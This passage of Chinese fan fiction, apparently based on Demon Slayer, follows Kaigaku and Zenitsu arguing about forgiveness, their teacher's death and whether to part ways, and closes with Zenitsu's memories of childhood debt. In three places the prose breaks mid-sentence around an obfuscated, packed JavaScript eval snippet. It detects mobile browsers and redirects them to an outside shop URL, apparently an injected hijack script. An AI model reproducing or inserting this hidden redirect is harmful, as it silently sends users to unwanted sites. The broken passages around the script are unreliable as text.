“和老师不愧是爷孙,只不过底线不一样而已。”狯岳总结。“老师的底线是变鬼,你的底线是吃人。是因为亲眼见过祢豆子的缘故吗?” “……” “我猜也是。” “不、不要说得好像自己是外人一样啊!你明明是我和爷爷最重要的人——” “你和老师之间才是那种黏糊糊的关系。”狯岳翻了个白眼,“不要把我牵扯进去。” “可是!” “不管你怎么说,老师都已经放弃我了。” “……” “对你来说,老师也比我更重要吧。” “……为什么要比较呢,”我妻善逸喃喃道,“你们就不能一样重要吗?” 狯岳继续翻白眼:“你倒是别光顾着说好听的,讲点实话不好吗?我又不在乎我在你心中是不是第一位。” 我妻善逸:^=_=^。 我妻善逸:“好过分。” “口惠实不至才更过分吧?” “……” “在无限城遇到你的时候,我是真想杀了你算了。” “呃,可你一直在手下留情吧?我觉得——” “我还以为,你会奉了老师的命令,一定要杀了我呢。” “……” “搞了半天,他居然先走一步。” “……” “你不打算杀我,还带来了变人药——这一点的确出乎了我的意料。” “就、就算没有变人药,我,我也……” ——不会杀了师兄的。 但不知为何,这句话在嘴边徘徊,却无论如何出不了口。 好在狯岳的注意力不在这上面,他只自顾自地继续: “我们是完全不同的人。我一直不能理解你,你也不能理解我。如果之前拼了个你死我活就好了,一了百了。” “……怎么说得好像不管怎样都是我死?” 狯岳无视了我妻善逸的意见,继续阐释他的想法: “反正鬼已经没有了,鬼杀队也要解散了。已经没有了挥刀的对象,还是老老实实遵守禁刀令,去找别的营生比较好。” “……好像是这样。” “产屋敷给钱还是蛮大方的,只要你别又被女人骗,就算腿断了,生活上也不会有什么大问题。” “我、我不会再被骗了!” “那是你自己的事情。” “……” 接着,狯岳又提到了一些旁的琐事,听着听着,我妻善逸意识到一件事: 狯岳他,居然在回答他之前的问题。 “以后该怎么办”,这个他因为心烦意乱,差点忘掉了的问题。 他,是在关心他吗? 不可思议。 这样没有不耐烦,没有甩脸色的狯岳,真的好像他的大哥一样。 然而,在我妻善逸的心彻底雀跃起来之前,狯岳轻飘飘地开口,说出沉甸甸的话: “……以后,我们还是到此为止,别再见面了吧。” “……” “……” “……唉?” 56.第五十六章 我妻善逸目瞪口呆。 过了一会儿,他反应过来,语无伦次:“不是,话题怎么,好突然,你要走?!” 狯岳冷淡地说:“每个人,或早或晚,都是要走的。” “不对!不是这么算的!” 其他人走了还会回来,但狯岳绝不会这么做,他敢保证。 一旦狯岳离开,绝对是断崖式失联。 他说别再见面,很有可能真的再也见不了面。 “你,你,”我妻善逸又激动起来,“我不要!别走——你刚才说得那么多算什么?!” 狯岳想了想,竖起一根手指:“临终关怀?” “我踏马还没临终呢!” 我妻善逸气得直冒烟,忍不住又从床上弹起来,想揪住狯岳的衣领——不行的话衣袖也行。 但狯岳按住他的肩膀,把他继续按了回去。 “我讨厌重复自己说过的话,”狯岳居高临下地看着他,“不要乱动。” 我妻善逸的气势被打断,勇气又没了,原地瑟缩了一下。 狯岳没好气地问: “你是故意的吗?” “什、什么?” “故意要加重自己的伤势,然后把一切怪在我身上。” “……” “……” “才没有!!!” “你最好是。” “……” “……” “你……” “又想问什么?” 在狯岳又一次回避了为什么会变成鬼的当下,再问这种问题就太不合时宜了。 那该问他什么呢? 无限城里的生活怎么样? 恐怕即使糟糕得不能再糟糕,狯岳也会一脸晦气地回答“不关你的事”这种不折损自尊的回答。 或者,问他以后要做什么? 问题我妻善逸不关心他以后要做什么,只想确定他不会走远。不管他打算做什么,只要在他的视线范围之内,他都无所谓。 可惜,狯岳一定会尽量跑出他的视线范围之外。 怎样才能留住狯岳呢? 现在的他断了腿脚,完全打不过他,物理意义上做不到,过。 都怪鬼舞辻无惨,害的狯岳必须出手救下炭治郎,所有人欠他人情,情理意义上做不到,过。 只能让狯岳走吗? 他不要! 爷爷的事情还没说清楚,狯岳自己的事情也没搞清楚,他不要这样稀里糊涂地结束,就此分道扬镳。 最后的最后,我妻善逸抖着唇,看着狯岳的眼睛: “你,你能不能和我结婚?” 完蛋,问错问题了。 但也不算完全出错,因为,如果能和狯岳结婚的话,狯岳就一定不会离开自己了,就算离开也一定是短暂的、绝对会回头的那种……反正比师兄弟的关系更紧密,反正狯岳一定不会愿意当他大哥。 什么玩意,既然狯岳连当他大哥都不会愿意,怎么可能会愿意和他结婚? 我妻善逸一边确信自己已经神经错乱,一边吐出小小的充满希望的泡泡: 万一呢? 说不定会有奇迹呢! 就见狯岳露出扭曲的表情,伸手掐我妻善逸的脸: “你踏马真疯了?!” 啧,果然没有奇迹。 “所以,你不跟我结婚吗?”我妻善逸心一横,抱住他的手,“只要我们结婚,你就会相信,在我心中,你和爷爷一样重要这件事吧?” “哈啊?!这种事情我才无所谓!” “我们结婚的话,会有很多好处的,比如……比如,我的钱全部都是你的。” “……你就非得选一个人把钱全部扔出去吗喂!” “可如果是你的话,能接住的吧?” “……” “……” 显然,我妻善逸想要狯岳接住的,不止是他的钱。 狯岳把头转到一边,又转回来,吐槽他的疯话: “首先,男人不可能和男人结婚。” “为什么不可能?有谁做出规定了吗?” “……应该有?” “不要用问题来回答问题。” “吵死了!总之,结了婚也是可以离婚的。” “狯岳是那种会轻易进入一段关系,又轻易结束一段关系的人吗?” “闭嘴!反正,我是不会和你结婚的。我又不是女人。” “怎么又绕回来了啊!” “问题是你——你是把我当成女人了吗?” “怎么可能!” “我也不可能把你当成女人,想想就恶心。” “……喂,我也没那么糟糕吧?!” “好烦!我的意思是,没有人可以一直在一起。即使是一家人,也有分开的一天。” “炭治郎和小祢豆子就不会分开。” “等祢豆子嫁人就会分开了。” “……” “……” “不、不会的,”我妻善逸摇头,“那,那,我和祢豆子结婚,然后和炭治郎住在一起!” “哟,你又不和我结婚了?” “……” “……” “或许,可以一夫多妻,这样就可以永远在一起——” “滚。或许他们会陪你玩过家家,但我不会。” 又被轻视了呢。 过家家,当然是过家家。所以把结婚这种请求在这种场景下轻率地说出来,当然不会被认真对待。 我妻善逸其实,也明白狯岳的意思。 狯岳是那种一门心思往前走的人,即使发生了这么多事,依然不能动摇他的脚步。 他要斩断过去,重新开始,不断向前。 可一般人向前走的时候,心中装幸福的箱子,不应该越来越满的吗? 为什么狯岳心中装幸福的箱子,还在发出漏风的声音? 而现在,我妻善逸心中装幸福的箱子,也跟着漏风了。 “如果……如果,你就这么走了,”我妻善逸喃喃道,“我和爷爷,对你来说,算什么呢?” “废物师弟和他的爷爷。” “……呃。” 这个回答出乎了我妻善逸的意料,他难得被噎了一下: “不是,就已经把爷爷抛到脑后了吗?!” “不然呢?等我离开之后,你也会变成陌生人。” 好无情好冷酷好可怕。 我妻善逸终于放弃了说理,直白地问:“你……你就不能,留下来吗?” 这语气听起来,像是在祈求一样。 可惜,狯岳对他,从未应许。 “别太天真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367839|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。我留下来做什么呢?”狯岳双手抱臂,“你指望我来照顾你吗?” “我、我才没打算——” “又或者,你觉得,只能和我一起怀念老师?” “……” “你就算了,我的话,会把老师气活过来的吧。” “……不会的。” “老师被气活过来的话,恐怕还是好事。但你在妄想落空之后,也会不断回想起,是我害死了老师这件事吧。” “……” “所以,我们以后还是不要再见面比较好。” “……” “……” “是你会想起来。” “什么?” “是你会想起来,你害死了爷爷,所以想要逃跑吧!” 我妻善逸的手指深深掐进狯岳的胳膊,几乎要掐断他的骨头。 “你不再是鬼,你救了炭治郎,你已经将功赎罪,都这样了,我……我,还有爷爷,都一定会原谅你!” 狯岳却瞳孔紧缩,用力将他推开:“我才不需要你们的原谅!” “那你原谅了你自己吗?” 话音落下,狯岳的脸上一片空白,连心声中的雷鸣都暂时停歇。 这一瞬,他那坚如磐石的外壳,终于被敲开了一道裂痕。 “我们是你的家人,永远都是。”我妻善逸用悲伤的眼神看着他,“所以,所以——” 留下来吧。 和他一起,回到桃山去,回去他们的家。 然而,不等他把话说完,一道奇异的声音响起: “说谎。” 毛色油亮的黑猫蹲坐在窗台边,尾巴甩在窗棱上,噼啪作响。 “你也好、桑岛慈悟郎也好,都不会原谅狯岳才对。” 我妻善逸刚想骂出声,就见狯岳向猫转过身去。 “琉璃?” 黑猫点头: “是我。” “亏你能找到鬼杀队里来啊。” “找不过来才怪,不找过来才怪。一来就见你又在被黄毛小子骗。” 黄毛小子? 骗? “我没有!”我妻善逸委屈地睁大眼睛:“你凭什么这么说!” “因为,这不是第一次了。” 黑猫那和狯岳同色的绿眼睛里,闪烁着奇异的光。 “你才没有狯岳以为的那么好。你也一度想要狯岳去死,并已经动手杀过一次了,善逸。” 话音落下,耳鸣声轰然响起,瞬间将所有感官涂白。 我妻善逸感觉脑袋快炸了。 那些光怪陆离的景象是怎么回事,那些充沛到过载的感情是怎么回事? “不要!”我妻善逸抱着脑袋,浑身战栗,眼泪大颗大颗往下掉,“不要!不要!大哥,你在哪里?!我好难受!” 但狯岳也很难受,他站起身,后退几步,撞在墙上,靠着墙滑落在地,眉头死死绞索,冷汗一滴一滴往下掉。 良久,他才抬起头,神色流转,盯向同样缓过来的我妻善逸,露出一个恶意满满的微笑: “明明是会轻易放弃我的人。” 他的声音很轻,近乎呢喃,但不影响我妻善逸把话听在耳中。 “都不必让我暴露出最糟糕的一面,就会放弃我的人…… “有什么资格,说永远?!” 57.第五十七章 还在寺庙寄身的时候,狯岳就知道了。 不管再怎么求神拜佛,人类又有什么时候,真的见过神佛? 传说中,还有人能立地成佛呢,但那样的人,又会长着一副什么样的脸孔? 他可从没见过。 只见过寺庙里的雕像,一个个都长得跟普通人似的,差不了太多。 完全是工匠凭着想象乱猜的吧。 到了盂兰盆节,他在接踵的人流中穿梭,灵活的手脚引人警惕。 他是贫苦出身的孤儿。 他们是衣着光鲜的老爷。 气派的人们,漂亮的腰带,油亮的发髻。 要是他被抓住,被打死了的话,谁会为他哭泣? 恐怕只有树上的知了而已。 行冥老师偶尔会讲解佛法,念叨什么因果、什么来生,好像求一个更好的下辈子就够了。 但是这辈子都过不好的话,谈下辈子,又有什么意义? 有下辈子也罢,没下辈子也罢。 又能怎么样呢。 转世也罢,不转世也罢。 那种事其实都一样吧。 都是虚无渺渺的、毫无实证的存在,他从没见过,从没有人见过。 他只见过路边倒毙的尸骨,瘦骨嶙峋爬满蛆虫,像狗多过像人。 那样难看的死法,他绝对不要。 他要活下去。 没有自尊、没有底线也要活下去。 看着别人院子里的树上结的柿子,他凭着对食物的渴望,搬来石头踮起脚,努力向上爬。 就算站的高度已经很难往上加,还是努力继续往上爬。 “总会找到办法的。” “只要活下去就好。” “反正就是不想死。” ——这就是他坚持至今的做法。 如果他能决定一切,如果一切都能如他所愿…… 他一定要多花点时间,好好制定个更加完善的、没有纰漏的计划。 而不是在被主人家发现之后,慌慌张张,连滚带爬。 至于好不容易偷到手的柿子,咬了一口才发现,果实又苦又涩,难以下咽。 只好丢下。 他生命里的所有事情,几乎都是这样。 加加减减,减减加加。 “原来如此,果然这样……你也只有这种程度而已。”狯岳感觉自己脑袋里有锤子在敲。“是我搞错了——是我蠢——” 前面的路,是一个人走得。 即便一度和人同行,后面的路,还是得一个人走才行。 除我之外,没有其他。 “那就跟我来吧!”黑猫跃跃欲试,“早说过了,堕落的时候,还是堕落地彻底一点比较……” “好你个头!” 金灿灿的狐狸从天而降,撞在黑猫身上,两小只咕噜噜滚成一团。 “狯岳!不要钻牛角尖!你不是不喜欢重来的吗!”狐狸嚷嚷,“还有善逸,你也说点什么啊!” 可是,我妻善逸能说什么呢? 视界泛起涟漪般的波纹,黑渊升起,水镜降下,时间停止。 本该满脸稚气的少年放下抱着脑袋的手,露出了一张爬满裂痕的,神色沧桑的脸。 及耳的短发也随之变长,与此同时,手指,胳膊,腿脚,也等比例发生了同样的变化。 “……那时候,的我,”他呆呆地看着自己的手掌,“怎么会,下得了手?” 火雷神是用来和师兄并肩作战的型。 怎么可以用来砍师兄的头? “呵呵,下不了手才怪吧?”黑猫一边和狐狸打架一边嘲讽,“不熟的师兄害死了最喜欢的爷爷,不可原谅!手起刀落那叫一个爽快!” “爽快你个头!善逸明明很难过!”狐狸叼黑猫的脑壳,“他才不想杀掉狯岳,狯岳是他重要的大哥!” “别开玩笑了,真不想杀的话,狯岳为什么会死?!真正的家人才不会主动杀死对方,无论如何都不会!” 他们不是真正的家人。 从来都不是。 家人是什么? 家人,是会互相珍重,互相扶持,甚至互相包庇的存在才对。 “不过是在玩过家家的游戏而已!”黑猫继续冷笑,“从一开始就不对,真正的爷爷才不会逼孙子上必死的战场!” “加入鬼杀队又不一定会死……而且,被逼迫的是善逸吧?!” “所以说善逸才奇怪,桑岛买下了他的命,他自己用命还桑岛就算了,凭什么拖着狯岳一起还啊!” “这哪里是还命,这是清理门户!阻止狯岳犯下更不可饶恕的罪行!换成善逸变成鬼,难道狯岳不会动手吗?!” “但狯岳可不会特意找上门,一边标榜对方是家人,一边毫不犹豫地砍下家人的头!” 被看不起的废物杀死就已经够恶心的了。 而杀死他的废物抱着这种态度,真是恶心上叠加恶心。 杀了就是杀了。 还要假惺惺地说什么“这不是我的本意”,哈。 谁关心你的本意?! “所以我后悔了,”我妻善逸落下泪来,向狯岳伸出手,“我只是——我只是想把我的心情传达给你……” “不要过来!”狯岳踉跄着后退,“离我——离我远一点!” 然而我妻善逸够到了他的手,他的肩膀,离得很近很近。 “我那时候才十六岁,什么都不懂,能有什么办法呢?”他用恳求的目光看着狯岳。“我一个人去找你,是想要挽回你,可你又什么都不肯对我说……” “说谎!”狯岳想把手挣开,但我妻善逸的力气大得出奇,“你来找我,就是做好了杀我的准备!” “……可也做好了,死在你手里的准备。” 我妻善逸没有否认自己的杀意,也没法否认。 他只能提起另一件事: “火雷神,是没有退路的剑型。” 虽然威力很大,但缺点很明显,不能将对手杀死的话,死的就是跑都没法跑的使用者,我妻善逸自己了。 所以,这是用来并肩作战的剑型。 一旦被用出来,继续进攻也好、逃跑也好,都只能靠同伴帮忙了。 而我妻善逸,在面对狯岳的时候,从未寄希望于同伴。 那是他真真正正的、孤注一掷的豪赌。 “所以,要怪我打输了?!”狯岳气笑了,“你踏马什么时候死在了我手里再来说这种风凉话!” “那样也行。” “……” “……” “哈啊?!” “如果你能下得了手的话。” “我当然——” “那你这一次,为什么没有杀了我?”我妻善逸轻声问,“你是不是,是不是……其实,也有一点喜欢我?” 狯岳:“……” 狯岳:“???” 狯岳:“我讨厌你!!!” “可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381560|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不讨厌你。”我妻善逸似乎早料到了,眉毛都没有动一下,自顾自地继续。“我能做些什么,才能让你获得幸福呢?” 我妻善逸问题真多,简直把问号挂在了脑门上,问问问个不停。 “告诉我吧。”“讲给我听吧。”“到底是为什么啊?” 可你的听力不是很好吗? 不要好像什么都不知道一样装傻! “消失吧。” 黑猫压制住了狐狸,坐在狐狸背上。 “没有你,狯岳就能获得幸福了,所以消失吧。” 没有我妻善逸,桃山上就只有桑岛慈悟郎和狯岳两个人,老师就是狯岳一个人的,雷之呼吸继承人的位置也是。 就算学不会一之型也没关系,桑岛慈悟郎只有他一个选择,所以,所以。 “不。” 狯岳却冷静下来,否认了黑猫的话。 “废物,放手——让我走!”他又开始用力挣扎,“我谁都不要——我的幸福不关你的事——放手!” 火雷神的速度很快,在感受到痛苦之前,脑袋就掉了下来。 想要做点什么自救,却感觉不到手脚。试图从断面再生,但日轮刀造成的伤口产生了灼烧感,血肉开始化灰。 真是不敢置信,就这样结束了?他还有手段没有使出来呢! 下了那么大的决心,抛弃过往一切才活下来,活了没多久又栽在了一贯看不上的废物手上,那种什么都没做到的憋屈感,远大于对死亡的恐惧。 原本,我妻善逸能陪他一起死的话,他还多少有点安慰,但一个陌生鬼忽然出现,说了一堆莫名其妙的话,又把我妻善逸给救走了…… 什么给予、索取的,他已经付出了相当的努力,只是运气不太好而已。 独自去死是很凄惨,但大部分人都是独自去死的吧? 算了,他都死了,生者的事情不必再管。 只是没想到,真的有灵魂这回事。 那么,天国和地狱,也应当是存在的。 可那又怎样? 有也好,没有也好,有没有都无所谓。 上天国也好,下地狱也罢,上下都差不多。 面前却只有一条路,不能向上走,也不能向下走。 但为什么,走着走着,还能听见我妻善逸那刺耳的哭声? “……如果没有我的话,狯岳可能就不会变成现在这样了,对不起!原谅我!” 还能看见,桑岛慈悟郎泪流满面,满脸感动和欣慰。 我妻善逸的话都说到了这份上,桑岛慈悟郎还能怎样回答? 那当然是称赞他啦。 没什么好原谅的,他又没做错事,变成鬼,被人唾弃的又不是他。 他成功讨伐了狯岳,他做了正确的事,他是他的骄傲。 “桑岛先生是你最喜欢的爷爷,你是桑岛先生的骄傲,你们两个玩游戏就够了。都说了放手!” “你听到了?!但那是,那是,如果爷爷知道你会听到的话——” “一切本来就是这样。本该是这样。你们怎么样是你们的事情,我不想掺和进去。不要再拉拉扯扯。” 这或许就是命运的安排。 兜兜转转,回到原点。 生不带来,死不带去。 未来也不必再顾忌,把全部都丢下不管,就可以继续往前走了。 “反正笨蛋到死都治不好,你这一世已经没救了,还是来世把这些毛病都改掉吧,善逸。” 58.第五十八章 狯岳承认,我妻善逸这个废物,虽然哭哭啼啼优柔寡断思路清奇精神异常…… 但看在火雷神的份上,也没有他一直以为的那么废。 桑岛慈悟郎之所以看重他,眼光的确称得上独道,呵呵。 不管从过程还是结果还是裁判的角度上来看,这一局,我妻善逸已经赢了。 他已经输了。 这不是什么不能承认的事情,只不过,也是时候去开下一局了吧? 凭什么他非得困在这里,成为我妻善逸的战利品不可?! 就听这废物还在叨逼叨: “……狯岳,你对爷爷,连老师都不叫了啊。” 狯岳:“……” 狯岳:“这是重点吗?!” “当然是。你以为,我为什么非要追到这地步不可?” 我妻善逸晃了晃脑袋,似乎终于把二周目脑袋里进的水倒了出去——不,他打从一开始脑袋里就进了水,只是因不同的经历,成分不同而已。 大约是因为,这一次,他没有吃人,还顺利回到了鬼杀队,才让这家伙有了不切实际的幻想吧。 “不要再生爷爷的气了,好不好?”他简直像是在说梦话,“毕竟是你先做错了事,变成了鬼……如果你那时候死掉了,爷爷也不会做出切腹的决定。” 狯岳:“……” 狯岳:“我不是生他的气!你这混蛋——不要说得好像是我在耍小孩子脾气一样!” 是因为已经长得比他更高更大的缘故吗? 这种语气,这种措辞……令他起了一身的鸡皮疙瘩。 居然仗着比他多活了几年,就这样对他说话,太自以为是了! “试着想了一下,如果是我,我会很难过。但是大哥你的话,一定会很生气。” “不要擅自揣测我的想法!” “在你变成鬼之前,你就已经是爷爷和我的骄傲了。爷爷所做的一切,绝对不是为了否定你。他……他只是,只是为了安慰我罢了。” 话音落下,狯岳的脸和胃一并扭曲起来。 什么叫做只是为了安慰他?! 为什么,这家伙总一次又一次地,得了便宜还卖乖?! 在桃山时就这样,打从一开始就这样。 他是自己想办法找到鬼杀队,和其他几个少年一起被推荐到桃山,经过考验后才被准许留下来,好不容易才拜入桑岛慈悟郎门下。 我妻善逸却是被桑岛慈悟郎直接买回来的弟子。 他被说“坚持不下去可以离开”。 我妻善逸被说“无论如何不许逃”。 他很要强,想要获得认同,想要被肯定,证明自己的优秀,证明自己的存在是有价值的。 我妻善逸呢? “什么杀鬼?我、我不知道啊,”他挂着一脸蠢相,揪着衣服下摆,唯唯诺诺,“是,是爷爷让我来的。” 那桑岛慈悟郎让你去死你去不去啊?! 哦,送这种人去杀鬼,的确和让他去死差不多? 那没事了。 而且,这家伙的确性格懦弱,整天逃跑,躲避训练,不想杀鬼,简直多余。 完全不明白,桑岛慈悟郎为什么要浪费时间在这家伙身上。 有天赋,就那么重要吗? 这种哭哭啼啼的家伙,只会浪费自己的天赋吧。 但学会一之型的我妻善逸作证: 是的,天赋就有那么重要。 ……这就是桑岛慈悟郎不放弃我妻善逸的原因。 被雷劈后活下来的我妻善逸,不仅学会了一之型,连头发都变成了与众不同的金色。太特殊了。这就是雷神的眷顾吧,连他忍不住这样想。 一之型是基础,基础完成之后,剩下的型也会被一一攻克吧。接下来,等他学会剩下的剑型,就没有别人的事了。 看着我妻善逸和桑岛慈悟郎其乐融融,他终于意识到一件事。 他才是多余的那一个。 “为什么大哥没有被安慰到呢?”我妻善逸困惑地摆弄他的脑袋。“声音又变得很寂寞了呢,明明有我在你身边。” 狯岳:^=皿=^。 不是,由于他变成了鬼,桑岛慈悟郎向鬼杀队切腹谢罪! 都发生了这种事情,他还指望他们能放下间隙,和好如初? 自说自话也该有个限度! “因为你和桑岛才是一国的,狯岳不过是个外人而已。” 在狯岳骂出声之前,黑猫先开口。 “你就不能老实承认,那老头子偏心眼吗?” “……如果狯岳这么说就罢了,”我妻善逸的脸瞬间拉下,瞪向黑猫,“你凭什么胡说八道?!爷爷才不会偏心!” “被偏心的人总是这么说。” 黑猫一点也不心虚,它振振有词: “早该察觉到了吧,人是有偏好的。比如,明明是梨花先来,但很明显,”黑猫挺起胸膛,“狯岳更喜欢——我。” 话音落下,不仅我妻善逸大脑短路了一瞬,连狯岳也无言以对。 你是来讲笑话的吗喂?! 而狐狸发出尖锐爆鸣:“好过分!狯岳,你真的不喜欢我了吗?!” 狯岳:^→_→^。 狯岳:“啊……这个。” “都说了,是更喜欢。”黑猫鄙视地看了一眼狐狸。“显然,狯岳喜欢又强又帅的角色,弱鸡。” “我踏马是狐狸!狯岳,你说,难道琉璃会比我好吗?!” 狯岳“啧”了一声:“就不能两个都不怎么样吗?” 这俩根本半斤八两吧! 狐狸看着可爱,实际上原则性很强,而且和我妻善逸相性更佳。 黑猫看着可爱,实际上以自我为中心,总想替他做决定。 于是就轮到黑猫嘴硬:“……你这不可爱的性格也,也蛮可爱的,呵呵。” 狐狸:“喂!” “总之,桑岛是个老人家,明显更吃善逸撒娇那一套。”黑猫强行转移话题,“当家长的都喜欢那一套。别看表面上嫌烦,实际上被依赖的时候老享受了。善逸,你不可能没有察觉到这一点吧?” 我妻善逸:“……” 我妻善逸:“那、那又不代表他不喜欢大哥!” “都说了,是更喜欢谁的问题。”黑猫摇了摇头。“狯岳在你这里比不上桑岛还好,他俩辈分不一样。但在桑岛这里——” “够了!”狯岳打断他的话,“别说了,很恶心!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386273|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “爷爷明明是很公平的,他给我们两个人的东西都是一样的!” 黑猫冷笑一声,本想说些什么,但考虑到狯岳的心情,没有继续。 结果,却是狯岳自己忍不住了: “是啊,都是一样的!”他嗤之以鼻,“我比你付出更多,比你训练努力,学会的剑型更多,收获的东西却和你一样,算什么公平?!” 话音落下,我妻善逸睁大眼睛。 “那、那是……” “别装傻了。你知道桑岛先生更偏爱你,所以他才一厢情愿地希望我们两个人一起成为雷之呼吸的继承人。” 狯岳自嘲地笑了笑,摇了摇头。 “我只不过是个学不会一之型的残次品,你却是他可怜的、只会一之型的宝贝孙子,所以他才在我出师那天,给你准备相同的礼物。” “不对,爷爷他——” “那时候的你算什么?只是个连一之型都用得不怎么样,只会拖我后腿的废物而已。” 我妻善逸明显不赞同他对桑岛慈悟郎的看法,但或许是从没考虑过这些事情的缘故,根本找不到言辞反驳,只结结巴巴地提出来: “可是,如果变成了鬼的是我,我想,爷爷他也一定会做出同样的选择吧?” “这倒不能完全否认。” “那……” “毕竟不管你怎么拒绝,桑岛先生都执意要送你去鬼杀队。对他来说,奋斗了一生的杀鬼事业才是最重要的。” “不对!” “所以,我没有生他的气。” 狯岳作出最后陈述。 “我只是……更加认清了我自己。” 眼前此刻,尽是回忆的颜色。 拼尽全力才活到现在,抓到什么算什么。 会从指缝中漏掉什么,也是无可奈何。 “……狯岳才是。” “什么?” “狯岳才是,不要装傻!”我妻善逸厉声道,“说得这么洒脱,好像自己什么都不在乎一样,不只是在逃跑而已吗?!” “哈啊?!” “笨蛋!胆小鬼!害怕被人放弃所以先放弃别人,害怕被人伤害所以先和别人划清界限,是这样吧?!” “可结果证明,我是对的!” 眼前这一位,是亲手杀了他的人。 是坦坦荡荡,光风霁月,站在高位俯视他的人。 我妻善逸也好,桑岛慈悟郎也好,他们都是那样的人。 如果他们知道他的过去,知道他是个什么样的人,一定会后悔和他扯上关系。 他们那样的高风亮节的人,和他这样不可救药的人,不是一路人。 早晚要分道扬镳。 他看着我妻善逸的嘴巴一张一合,却一个字都没有听进去,高亢的耳鸣堵住了所有声道。 那双金色的瞳孔中映出了另一个自己,漆黑的巩膜,妖异的面纹,扬起的嘴角。 原来如此。 在遇见黑死牟的那一天,他的身体变成了鬼。 但在那之前,他的心,早已变成鬼。 他听见自己对自己说: 待在黑暗里不舒服,可待在人间更痛苦。 你想怎么选都可以,你想做什么都是你。 59.第五十九章 没有人教导的话,人就很难学会事情。 说话要学。 走路要学。 更别提人际交往和一技之长了。 如果什么都不会,就不会被期待,也不会被认可。 因为是孤儿出身,这也是没办法的事情。 唯一能无师自通的,就只有靠本能活下去这件事情而已。 多亏这双灵敏的耳朵,我妻善逸学会了分辨不同人的声音,让自己不至于活不下去。 都怪这双灵敏的耳朵,让他没办法无视其他人的真实态度,让自己直面他人的阴暗。 小的时候,不懂自己和其他人有什么不同,只知道这个世界很吵,很多人身上传来恐怖的声音,把他吓得哭个不停。 稍微长大一点,不懂掩饰自己的与众不同,直白地说出其他人的心思,又被责备多管闲事、让人恶心。 很长一段时间,他都不明白,自己该怎样做,才能让人满意。 一旦做错什么事,旁人就会摇着头离开,留他孑然一身。 只有闭上嘴巴。 只有不停地说对不起。 更多时候,沉默和道歉没有用处,没人愿意理他,没人愿意和他说话,没人愿意听他说话。 大部分情况下,他只能一个人呆着,听别人叽叽喳喳,听到得越多越寂寞。 昨天做的梦,前天也梦到了。 明天、后天,也一样会梦到吧。 想要的东西都在梦里,这个想要,那个也想要,好的东西都想要。 但最想要的,还是一个家,一个属于自己的家。 曾经的玩伴们,一个个都有家,拥有遮风挡雨的地方,拥有严厉的爸爸温柔的妈妈可靠的哥哥姐姐。 他也好想要啊。 所以,“你能不能和我结婚?” 我妻善逸鼓起勇气问认识的女孩子。 “结婚?和你?” 女孩子当时的表情已经不记得了,但那段不当一回事的心声还记得清清楚楚。 即使是无法实现的梦,也无论如何想要实现。 长相,性格都无所谓,只要是个女孩子就好。 是个女孩子,就能和他结婚;一旦结婚,他就有了家。 一个不会被抛弃的,属于他的家。 “好的东西,你也想要吧?”我妻善逸学着大人的样子表达,“想要的话,我可以买给你啊!” ——而你,我想要放到心里面,永远在一起。 但那个女孩子,那些女孩子,只想要他的钱,不想要他的心。 这也是没办法的事情。 毕竟他的心不值几个钱。 身材矮小,人又穷酸,胆子还小,做什么事都是半吊子,只能在好人开的店里打工,才能勉强维持生活这样子。 可一旦有人期待他的话,他又忍不住要满足这份期待,这样就会被夸奖,会听到对方雀跃的心声。 这就是喜欢吧? 这就是喜欢他吧? 或者,只要累积下去,就会变成喜欢他吧? 然而,真正累积下去的,只有他身上不断增加的债务而已。 “好痛!别追了!对不起!” 入不敷出的那天,我妻善逸顶着讨债人的追打在街道上疯狂逃窜。 “我一定会还上钱的!请原谅我!” 为了讨好女孩子,买这买那,纾危解困,全部积蓄乃至借金花光之后,连女孩子的手都没摸到,讨债人就已经找上了门。 是人家女孩子的错吗? 不是。 是他自不量力的错。 钱能买到的,只有架子上的商品。 能摆在架子上的售卖的感情,只有虚情假意而已。 “现在,立刻,拿钱过来!不还钱,你别想好过!” 在讨债人的围追堵截下,我妻善逸到底还是被逮住了,脸上、身上挨了重重好几拳。 “什么,没钱?那就去做苦力,去卖身,卖不出去做标本!想要赖账是不可能的!” 于是,周围有人议论纷纷: “哇,又是那帮放贷的在追债。” “别盯着看,小心惹麻烦。” “欠债的是谁?” “好像是今井屋那个打杂的小哥,叫什么来着?” “我妻善逸!” “是他啊,我知道他!好色的家伙,只要是个女人都行。” “真的吗?好恶心!” “没办法吧,这样的人不花钱,根本找不到女人。” “的确,又矮又瘦又小,是个侏儒吧。” “那倒不一定,他年龄不大,大概只有十四、十五岁的样子。” “噫,小小年纪就是个色鬼。” ——啊啊,失败了。 虽然为了帮凉子小姐的父亲看病借了钱,但凭借他努力打工赚来的薪水,应该很快能还清才对。 